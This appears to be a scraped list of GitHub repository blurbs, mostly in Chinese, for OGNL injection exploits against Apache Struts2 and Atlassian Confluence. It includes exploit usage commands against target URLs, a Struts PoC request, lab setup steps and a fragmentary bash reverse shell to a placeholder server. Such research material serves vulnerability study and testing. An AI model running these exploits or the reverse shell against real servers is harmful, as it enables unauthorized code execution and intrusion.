st2-046-poc

Struts2 Content-Disposition filename 空字节变种 CVE-2017-5638 Struts2 安全公告 S2-046 一个空字节（\x00）在请求的 Content-Disposition 头部的 filename 字段中会触发 InvalidFileNameException，异常消息中包含相同的（客户端控制的）文件名字符串，该字符串可在错误处理期间被用于触发 OGNL 评估。请注意，这与最初在 S2-045 中报告的 Content-Type 向量 以及 S2-046 中提到的 Content-Length/Content-Disposition ...

CVE-2022-26134

POC - Atlassian Confluence OGNL 注入远程代码执行漏洞 CVE-2022-26134 测试于 Confluence 7.13.6 版本 环境搭建 克隆仓库 docker-compose up -d 在 http://localhost:8090 你会看到 Confluence 正在运行。 接下来，获取 Confluence 的评估许可证，并使用数据库名称 confluence、用户名 postgres 和密码 root 设置数据库。 漏洞利用 解码后的载荷...

Confluence-CVE-2022-26134

Confluence-CVE-2022-26134 描述 Confluence 未授权远程代码执行漏洞：CVE-2022-26134 Confluence 是澳大利亚软件公司 Atlassian 开发的一款基于 Web 的企业维基。2022 年 6 月 2 日，Atlassian 为其 Confluence Server 和 Data Center 应用程序发布了安全公告，强调了一个严重级别的未经身份验证的远程代码执行漏洞。该 OGNL 注入 漏洞允许未经身份验证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。 PoC Video PoC...

CVE-2021-26086

CVE-2021-26084 存在一个OGNL注入漏洞，允许经过身份验证的用户（在某些情况下为未经过身份验证的用户）在confluence服务器或数据中心实例上执行任意代码。 查询字符串参数请求： 使用方式： $ python3 CVE-2021-26084Confluence.py -u http://website.com 参考链接： https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html...

CVE-2022-26134

CVE-2022-26134 - OGNL 注入漏洞： 概念验证脚本，利用影响 Atlassian Confluence 7.18 及更低版本的远程代码执行漏洞。该 OGNL 注入漏洞允许未经身份验证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。 受影响版本： 所有受支持的 Confluence Server 和 Data Center 版本均受影响。 Confluence Server 和 Data Center 版本 1.3.0 至 7.18.1（不含）受影响。 该漏洞的 CVSS 评分为 10 分（满分 10 分），严重性极高。 依赖...

cve-2022-26134

Atlassian Confluence OGNL 注入 POC 漏洞 CVE-2022-26134 任意代码执行 使用方法： pip3 install termcolor python3 exploit.py http://example.com 文档： https://blog.qualys.com/vulnerabilities-threat-research/2022/06/29/atlassian-confluence-ognl-injection-remote-code-execution-rce-vulnerability-cve-2022-26134 支持我：...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 - Confluence 预认证 RCE | OGNL 注入 安装依赖 pip3 install -r requirements.txt 运行漏洞利用 USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com id Ex: python3 exploit.py https://target.com 'ls -la'...

CVE-2018-11776

用于CVE-2018-11776的易受攻击的Docker容器 docker pull bhdresh/cve-2018-11776:1.0 docker run -dit -p :8080:8080 bhdresh/cve-2018-11776:1.0 PoC PoC - 1 Request : http://:8080/struts2-showcase-2.3.14/$333+333/help.action Result : http://:8080/struts2-showcase-2.3.14/666/help.action PoC - 2 Request :...

CVE-2022-26134

Confluence 预认证远程代码执行（OGNL注入）CVE-2022-26134 Confluence 预认证远程代码执行（OGNL注入）CVE-2022-26134 2022年6月2日，Atlassian 发布了 Confluence Server 和 Data Center 应用的安全公告，强调了一个严重等级的未认证远程代码执行漏洞。该 OGNL 注入漏洞允许未认证用户在 Confluence Server 或 Data Center 实例上执行任意代码。 重要提示 本漏洞利用程序仅供研究者演示漏洞之用。我不建议进行非法操作，也不对任何恶意使用此脚本的行为负责。 • 请求示例...

CVE-2022-26134

CVE-2022-26134 概念验证 描述 在受影响版本的 Confluence Server 和 Data Center 中， 存在一个 OGNL 注入漏洞，允许未认证的攻击者 在 Confluence Server 或 Data Center 实例上执行任意代码。 概念验证 1. 运行 python3 confluence.py -u http://127.0.0.1 -c whoami 2. 获取结果 Payload URL 解码后的 payload：...

CVE-2022-26134

CVE-2022-26134 远程攻击者在未经身份验证的情况下，可构造OGNL表达式进行注入，实现在Confluence Server或Data Center上执行任意代码,修改poc，方便getshell。常见端口:8090 影响版本 Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps port 0&1 使用...

S2-053-CVE-2017-12611

S2-053-CVE-2017-12611 一个用于利用 Struts 2 S2-053 CVE-2017-12611 RCE 漏洞的简单脚本 用法 exploit.py 示例 $ python s2-053-exploit.py "http://127.0.0.1" "name" "uname -a" 生成的 EXP:...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 Inyección OGNL en Confluence...

CVE-2020-17530

CVE-2020-17530 s2-061 poc:...

through_the_wire

Through the Wire Through the Wire 是一个针对 CVE-2022-26134 的概念验证利用，该漏洞是一个影响 Atlassian Confluence Server 和 Data Center 版本 = 7.13.6 LTS 及 = 7.18.0 "Latest" 的 OGNL 注入漏洞。最初这是一个在野利用的零日漏洞。 供应商公告 Volexity "在野" 利用分析 Rapid7 分析文章 Through the Wire 实现了两种不同的利用方式。反弹 shell 会调用 bash，因此更容易被检测到。文件读取器则直接在内存中执行，因此不易被检测到...

CVE-2021-26084_Confluence

CVE-2021-26084 - Confluence Server Webwork OGNL注入 存在一个OGNL注入漏洞，可允许已认证用户，在某些情况下未认证用户，在Confluence Server或Data Center实例上执行任意代码。 重要提示 此漏洞利用仅旨在供研究人员演示漏洞。我不赞成非法行为，并且不对任何恶意使用此脚本的行为负责。本仓库中展示的概念验证未暴露任何主机，且是在获得许可的情况下执行的。 • queryString参数请求 漏洞利用方法 命令： $ python3 ConfluenceOGNLInjection.py -u http://xxxxx.com ...

CVE-2021-26084

CVE-2021-26084 引言 本报告概述了 CVE-2021-26084 —— Confluence Server Webwork OGNL 注入 1，该漏洞允许经过身份验证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。 TL;DR Confluence Server / Data Center 使用 Webwork 2 MVC 框架处理 Web 请求，其视图层主要由 Velocity 模板组成。当 Velocity 模板使用 value 属性中包含 $ 的 Webwork 标签时，会发生双重求值。当遇到 value 属性中含有 $ ...

CVE-2021-26084_PoC

CVE-2021-26084 PoC | Confluence Server Webwork OGNL 注入 存在一个 OGNL 注入漏洞，允许已验证用户（在某些情况下未验证用户）在 Confluence Server 或 Data Center 实例上执行任意代码。 我寻找入口点和注入点的战斗 XD 战斗 1| 战斗 2 ---|--- | 最终 Confluence 入口点被利用 https:///users/user-dark-features https:///login https:///pages/templates2/viewpagetemplate.action...

CVE-2020-13942

CVE-2020-13942 CVE-2020-13942 POC por Eugene Rojavski Publicación original del blog sobre la vulnerabilidad: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/ Hay dos vectores RCE: mediante inyección MVEL y mediante inyección OGNL. Ambos vectores apuntan a...

CVE-2021-26084

CVE-2021-26084 Inyección OGNL en Confluence CVE-2021-26084 es una vulnerabilidad de inyección de Object-Graph Navigation Language OGNL en la implementación de Webwork de Atlassian Confluence. Un atacante remoto no autenticado podría explotar esta falla enviando una solicitud especialmente diseñad...